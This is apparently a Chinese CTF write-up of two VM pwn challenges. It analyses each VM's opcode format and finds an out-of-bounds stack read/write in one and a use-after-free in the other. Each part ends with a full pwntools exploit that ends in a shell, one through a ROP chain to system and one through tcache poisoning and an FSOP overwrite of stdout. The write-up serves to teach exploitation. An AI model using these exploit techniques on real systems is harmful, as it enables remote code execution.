最近两场比赛各遇到了一题vm:
-
第十八届CISCN初赛-avm
-
第十八届软件安全攻防赛初赛-vm
两题都是较为简单的vm题,记录一下解题过程
avm
main函数很简单,sub_11E9
是pwn题几乎固定的初始化标准流
接着让我们输入opcode
并走到第一个关键函数sub_1230
a1是全局变量40C0
的地址
a1[33]被初始化为指向我们输入的opcode的指针
a1[34]被初始化为0x300,也就是最大opcode长度
其余全部置为0
这里差不多就能看出40C0
就是这题的VM核心了,这个函数就是在对这个结构体进行初始化,但我们尚且还不能知道完整的定义
当a1[32]小于a1[34]时,程序就会不断执行
最后根据v2从funcs_1AAD
功能表获取函数指针并调用,那么v2显然就是操作码
v2来自于*(_DWORD *)(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28
a1[33]就是我们输入的opcode
a1[32] & 0xFFFFFFFFFFFFFFFC
将a1[32]最低2个比特位置零
这里我们就可以知道,a1[32]是pc计数器,opcode以四个字节为单位,最高4位为操作码
功能分析
要知道完整的定义还得继续往下分析功能表
这是第一个功能函数
v2和之前sub_19F1
中的获取的opcode是同一个
可以看到有很多取低5位的操作,这里就已经可以看出opcode的结构了
c语言描述如下
struct BitFieldStruct {
uint32_t dst : 5;
uint32_t src2 : 5;
uint32_t : 6;
uint32_t src1 : 5;
uint32_t : 7;
uint32_t func : 4;
};
从而也能得到完整的vm结构
struct vm
{
uint64_t regs[32];
uint64_t pc;
uint64_t code;
uint64_t max_pc;
};
在ida中定义结构体后,现在这个函数看来是这样的
瞬间好看多了
对于这个函数功能其实就是vm->regs[dst] = vm->regs[src1] + vm->regs[src2]
以此类推我们能够得到接下来9个函数的功能分别是
漏洞所在
在分析过程中不难定位漏洞其实是出在9号和10号函数
即read_stack和write_stack
且二者的差不多,区别只在一个读一个写,以write为例
从这里可以看出这两个函数的opcode结构与前面8个函数不太相同,不过问题不大,挺好区分
byte_4010
的大小是0xff
a2是sub_19F1
传入的一个栈指针,这个函数是从寄存器里往栈写,但是其在检查时检查的是a1->regs[(v3 >> 5) & 0x1F] + BYTE2(v3)
,使用的确是(a1->regs[(v3 >> 5) & 0x1F] + (HIWORD(v3) & 0xFFF)
使用时这个数是作为索引使用的,那么这里就存在越界写了,可以将regs[dst]的值写向栈上缓冲区外
同理read_stack可以从栈上缓冲区外读
漏洞利用
很自然的一个思路就是从栈上读取存在的libc信息,将其变化为我们所需要的system地址以及binsh字符串地址,再写回栈上的返回地址处
完整exp
from pwn import*
import binascii, struct
import glverm
elf_path = './pwn'
libc = ELF('./libc.so.6', checksec=False)
elf = ELF(elf_path, checksec=False)
context.binary = elf_path
context.log_level = 'debug'
r = lambda num=4096 :p.recv(num)
ru = lambda flag, drop=False :p.recvuntil(flag, drop)
rl = lambda :p.recvline()
ra = lambda time=0.5 :p.recvall(timeout = time)
u7f = lambda :u64(ru('\x7f')[-6:].ljust(0x8, b'\x00'))
sla = lambda flag, content :p.sendlineafter(flag,content)
sa = lambda flag, content :p.sendafter(flag,content)
sl = lambda content :p.sendline(content)
s = lambda content :p.send(content)
irt = lambda :p.interactive()
tbs = lambda content :str(content).encode()
leak= lambda name, addr :log.success('{} = {:#x}'.format(name, addr))
fmt = lambda string :eval(f"f'''{string}'''", globals()).encode()
def run():
return process(elf_path) if LOCAL else remote('node1.anna.nssctf.cn', 28967)
LOCAL = 0
p = run()
def make_opcode(opcode, dst, src1, src2):
result = 0
result = opcode << 28
result = result | dst
result = (src1 << 16) | result
result = (src2 << 5) | result
return result
system = 0x50d70
binsh = 0x1d8678
pop_rdi_ret = 0x2a3e5
ret = 0x2a3e6
distance = 0x29d90
system_ = system - distance
binsh_ = binsh - distance
pop_rdi_ret_ = pop_rdi_ret - distance
ret_ = ret - distance
#get libc
payload = p32(make_opcode(10, 0, 0xd38, 30))
#get distance
payload += p32(make_opcode(10, 1, 0x158, 30))
payload += p32(make_opcode(10, 2, 0x160, 30))
payload += p32(make_opcode(10, 3, 0x168, 30))
payload += p32(make_opcode(10, 4, 0x170, 30))
#change
payload += p32(make_opcode(1, 11, 0, 1))#system
payload += p32(make_opcode(1, 12, 0, 2))#binsh
payload += p32(make_opcode(1, 13, 0, 3))#pop_rdi_ret
payload += p32(make_opcode(1, 14, 0, 4))#ret
#write
payload += p32(make_opcode(9, 13, 0xd38, 30))
payload += p32(make_opcode(9, 12, 0xd40, 30))
payload += p32(make_opcode(9, 14, 0xd48, 30))
payload += p32(make_opcode(9, 11, 0xd50, 30))
#distance
payload += p32(0) + p64(system_) + p64(binsh_) + p64(pop_rdi_ret_) + p64(ret_)
sla(b'opcode: ',payload)
irt()
做这题时发现如果不用返回地址残留的libc地址,而是用其他地方的,那么固定偏移获取的值每次启动都有可能不一样,很奇怪
vm
和上一题一样,但其实这题甚至不算是vm题,其最终利用是内部又套了个堆菜单
漏洞是在堆操作中....
开始时申请了三个区域,mmap地址是stack,pc,data等的十六进制编码
read_data
是读取题目自带的两个文件,只是打印字符,影响不大,不作理会
getcode就是从我们的输入中获取opcode
这题的opcode相比上一题会复杂些,且最终做题与这个关系也并不太大,就不一一分析了
vm核心定义如下
struct vm
{
void *data;
void *pc;
unsigned __int64 regs[6];
void *stack;
};
opcode定义
struct code
{
unsigned int opcode;
unsigned int dst1;
unsigned int dst2;
};
opcode最低两个字节是指令分类,剩余6个字节是每个分类下的指令
主要是分为四类opcode,每类下面又有几十号函数,真分析工作量还挺大
处理0类opcode时,可以进入一个二级菜单,内部就是各种堆操作增删读写
漏洞利用
free时没有置零,所以存在UAF,
libc是2.35,老套路了,劫持tcache打FSOP就是,没啥好说的
完整exp
from pwn import*
import binascii, struct
import glverm
elf_path = './vm'
libc = ELF('./libc.so.6', checksec=False)
elf = ELF(elf_path, checksec=False)
context.binary = elf_path
context.log_level = 'debug'
r = lambda num=4096 :p.recv(num)
ru = lambda flag, drop=False :p.recvuntil(flag, drop)
rl = lambda :p.recvline()
ra = lambda time=0.5 :p.recvall(timeout = time)
u7f = lambda :u64(ru('\x7f')[-6:].ljust(0x8, b'\x00'))
sla = lambda flag, content :p.sendlineafter(flag,content)
sa = lambda flag, content :p.sendafter(flag,content)
sl = lambda content :p.sendline(content)
s = lambda content :p.send(content)
irt = lambda :p.interactive()
tbs = lambda content :str(content).encode()
leak= lambda name, addr :log.success('{} = {:#x}'.format(name, addr))
fmt = lambda string :eval(f"f'''{string}'''", globals()).encode()
def run():
return process(elf_path) if LOCAL else remote('127.0.0.1', 1234)
LOCAL = 1
payload = b''
def makeopcode(idx, cho, dst1 = 0, dst2 = 0):
global payload
if(idx == 3):
payload += p8(idx|cho<<2)
payload += p8(dst1)
payload += p64(dst2)
if(idx == 2):
payload += p8(idx|cho<<2)
payload += p8(dst1)
payload += p8(dst2)
if(idx == 1):
payload += p8(idx|cho<<2)
payload += p8(dst1)
if(idx == 0):
payload += p8(idx|cho<<2)
payload += p8(0)*2+p8(dst1)
def alloc(size):
makeopcode(3, 3, 0, size)
makeopcode(0, 51, 3)
def free(idx):
makeopcode(3, 3, 0, idx)
makeopcode(0, 51, 4)
def writedata(idx, dst, size):
makeopcode(3, 3, 0, idx)
makeopcode(3, 3, 1, dst)#相对
makeopcode(3, 3, 2, size)
makeopcode(0, 51, 6)
def write(fd, src, size):
makeopcode(3, 3, 0, fd)
makeopcode(3, 3, 1, 0x646)
makeopcode(3, 7, 1, 32)
makeopcode(3, 10, 1, 0x17461000+src)
makeopcode(3, 3, 2, size)
makeopcode(0, 51, 1)
def read(fd, dst, size):
makeopcode(3, 3, 0, fd)
makeopcode(3, 3, 1, 0x646)
makeopcode(3, 7, 1, 32)
makeopcode(3, 10, 1, 0x17461000+dst)
makeopcode(3, 3, 2, size)
makeopcode(0, 51, 0)
def readdata(idx, src, size):
makeopcode(3, 3, 0, idx)
makeopcode(3, 3, 1, src)#相对
makeopcode(3, 3, 2, size)
makeopcode(0, 51, 5)
alloc(0xf0)#0
alloc(0xf0)#1
alloc(0xf0)
alloc(0xf0)
alloc(0xf0)
alloc(0xf0)
alloc(0xf0)
alloc(0x30)
alloc(0xf0)
alloc(0x20)
#get heap
free(7)
#get libc
for i in range(7):
free(i)
free(8)
writedata(7, 0x1000, 8)
write(1, 0x1000, 8)
writedata(8, 0x1008, 8)
write(1, 0x1008, 8)
#hijack tcache
read(0, 0x2000, 8)
readdata(6, 0x2000, 8)
alloc(0xf0)#10
#got dst
alloc(0xf0)#11
read(0, 0x3000, 0x100)
#write over stdout
readdata(11, 0x3000, 0x100)
p=run()
sa(b' opcodes:\n', payload)
heap = u64(r(8).ljust(8,b'\0')) << 12
libc.address = u64(r(8).ljust(8,b'\0'))- 0x21ACE0
leak('libc',libc.address)
leak('heap',heap)
stdout = libc.sym['_IO_2_1_stdout_']
s(p64(stdout^(heap >> 12)))
obstack = libc.address + 0x2173C0
payload1 = flat(
{
0x18:1,
0x20:0,
0x28:1,
0x30:0,
0x38:libc.sym['system'],
0x48:next(libc.search(b'/bin/sh')),
0x50:1,
0x88:heap+0x200,
0xd8:obstack,
0xe0:stdout,
},
filler = '\x00'
)
s(payload1)
irt()
这题就是堆菜单套娃了vm的壳子,实际应该算堆题?